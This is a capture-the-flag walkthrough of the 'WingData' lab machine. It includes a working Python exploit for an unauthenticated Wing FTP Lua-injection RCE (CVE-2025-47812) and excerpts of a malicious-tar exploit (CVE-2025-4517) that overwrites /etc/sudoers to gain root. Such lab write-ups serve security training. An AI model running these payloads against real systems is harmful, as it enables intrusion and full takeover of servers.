Summary
WingData is a Linux machine built around Wing FTP Server. The intended path chains a Wing FTP unauthenticated RCE into credential recovery for SSH access as wacky, followed by a root escalation through a Python tarfile extraction bug exposed by a sudo-allowed restore script.
Attack chain:
Wing FTP exposure → config leakage / credential recovery → SSH as wacky → vulnerable tar restore script → root
| Step | Technique | Result |
|---|---|---|
| Recon | nmap, vhost checks, ffuf | Wing FTP attack surface identified |
| Initial access | Wing FTP RCE / recovered credentials | SSH as wacky |
| Privilege escalation | CVE-2025-4517 (tarfile.extractall(filter="data")) | root |
Target
- IP:
10.129.244.106 - Hostnames:
wingdata.htb,ftp.wingdata.htb
Reconnaissance
Port Scan
Start with a full TCP scan:
nmap -sS -T4 --min-rate 1000 -p- 10.129.244.106 -oA recon/nmap_full
Then verify service versions on the interesting ports:
nmap -sV -sC -p22,80 10.129.244.106 -oA recon/nmap_svc
Observed services during the engagement:
| Port | Service | Notes |
|---|---|---|
| 22/tcp | SSH | OpenSSH on Debian |
| 80/tcp | HTTP | Redirects to wingdata.htb |
| 5466/tcp | Wing FTP admin | Mentioned in public write-ups, but filtered during this session |
Main Web Root
Checking the web root shows the redirect behavior immediately:
curl -sI http://10.129.244.106/
curl --resolve wingdata.htb:80:10.129.244.106 http://wingdata.htb/ -o recon/home.html -D recon/home.headers
This confirms a vhost-based setup. Using --resolve is enough for quick testing without editing /etc/hosts.
VHost Discovery
Wing FTP commonly exposes multiple HTTP entry points, so enumerate vhosts early.
ffuf -w /usr/share/nmap/nselib/data/vhosts-full.lst \
-u http://10.129.244.106/ \
-H 'Host: FUZZ.wingdata.htb' \
-fs 0 -mc all -of json -o recon/vhosts.json
Useful hits included:
wingdata.htbftp.wingdata.htb
FTP Web Interface
Fetch the FTP-facing site and its login page:
curl --resolve ftp.wingdata.htb:80:10.129.244.106 http://ftp.wingdata.htb/ -o recon/ftp.html -D recon/ftp.headers
curl --resolve ftp.wingdata.htb:80:10.129.244.106 http://ftp.wingdata.htb/login.html -o recon/login.html -D recon/login.headers
Directory fuzzing with ffuf helps confirm typical Wing FTP endpoints:
ffuf -w /usr/share/dirb/wordlists/common.txt \
-u http://10.129.244.106/FUZZ \
-H 'Host: ftp.wingdata.htb' \
-mc all -fc 404 -ac -t 50 \
-of json -o recon/ftp_dirs.json
Interesting paths include:
/login.html/dir.html/loginok.html
Fingerprinting Wing FTP
A quick fingerprint pass is enough to point at Wing FTP:
whatweb -a 3 http://10.129.244.106 -H 'Host: ftp.wingdata.htb'
At this point the attack surface is clear: Wing FTP is exposed over HTTP and is the most likely entry point.
User Flag
Vulnerability Discovery
Public information around the box points to Wing FTP Server 7.4.3 and CVE-2025-47812, an unauthenticated RCE in the product’s session handling. The vulnerable behavior abuses a NULL-byte truncation issue in username processing: authentication logic treats the user as anonymous, while session file creation still consumes the full malicious value and evaluates injected Lua.
A minimal local helper used during testing:
#!/usr/bin/env python3
import requests, sys, urllib.parse, base64
cmd = sys.argv[1]
wrapped = f"echo {base64.b64encode(cmd.encode()).decode()}|base64 -d|bash"
username = 'anonymous'
payload = (
'username='+urllib.parse.quote(username)+
'%00]]%0dlocal+h+%3d+io.popen("'+urllib.parse.quote(wrapped, safe='')+'")%0d'
'local+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password='
)
r = requests.post('http://ftp.wingdata.htb/loginok.html',
data=payload,
headers={'Content-Type':'application/x-www-form-urlencoded'},
timeout=15)
print(r.text)
In this session, the FTP web interface became unstable later and started returning 502 Proxy Error, so I treated the web RCE as the path to recover credentials rather than the final shell. The important live validation came next: recovered SSH access as wacky worked.
SSH Access as wacky
Once the credentials were recovered, SSH access was straightforward:
The shell confirmed the foothold:
wacky@wingdata:~$ id
uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)
wacky@wingdata:~$ hostname
wingdata
User Flag
wacky@wingdata:~$ cat ~/user.txt
HTB{redacted}
Flag obtained as wacky.
Root Flag
Enumeration
As soon as SSH access is established, check sudo rights:
wacky@wingdata:~$ sudo -l
The key finding is a passwordless root execution path:
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
Read the script before touching it:
wacky@wingdata:~$ sed -n '1,220p' /opt/backup_clients/restore_backup_clients.py
Important parts:
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
Also confirm the Python version and directory permissions:
wacky@wingdata:~$ /usr/local/bin/python3 --version
Python 3.12.3
wacky@wingdata:~$ ls -ld /opt/backup_clients /opt/backup_clients/backups /opt/backup_clients/restored_backups
drwxr-x--- 4 root wacky 4096 Jan 12 08:43 /opt/backup_clients
drwxrwx--- 2 root wacky 4096 Jan 12 08:32 /opt/backup_clients/backups
drwxr-x--- 2 root wacky 4096 Jan 12 08:43 /opt/backup_clients/restored_backups
This is ideal:
wackycan place attacker-controlled tar files inbackups/- root extracts them with
tarfile.extractall(..., filter="data") - Python
3.12.3is vulnerable to CVE-2025-4517
Why filter="data" Is Still Vulnerable
filter="data" is supposed to reject unsafe tar members such as:
- absolute paths,
../traversal,- symlinks or hardlinks that resolve outside the extraction directory.
The bug is that path validation relies on realpath() behavior that can be confused once the resolved path grows beyond PATH_MAX on Linux. A carefully constructed chain of long symlinks can make the filtered path appear to stay inside the staging directory while the kernel ultimately resolves the link to a sensitive target such as /etc/sudoers.
That turns the restore feature into an arbitrary file write primitive as root.
Exploitation
I used a local exploit script that builds a malicious tar archive with:
- deep long-name directory entries,
- symlink chaining to trigger path truncation behavior,
- a hardlink to
/etc/sudoers, - a payload line granting
wackypasswordless sudo.
Relevant parts of the exploit:
comp = 'd' * 247
steps = "abcdefghijklmnop"
sudoers_entry = f"{username} ALL=(ALL) NOPASSWD: ALL\n".encode()
# create symlink chain
# create escape symlink to /etc
# create hardlink to escape/sudoers
# write regular file over sudoers_link
Transfer the exploit to the box:
scp cve_2025_4517.py [email protected]:/tmp/cve_2025_4517.py
Run it on the target:
wacky@wingdata:~$ python3 /tmp/cve_2025_4517.py
The exploit succeeded live:
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] SUCCESS! User 'wacky' added to sudoers
At that point, wacky has full sudo:
wacky@wingdata:~$ sudo -n /bin/bash -c 'id; whoami'
uid=0(root) gid=0(root) groups=0(root)
root
Root Flag
wacky@wingdata:~$ sudo -n /bin/bash -c 'cat /root/root.txt'
HTB{redacted}
Root obtained.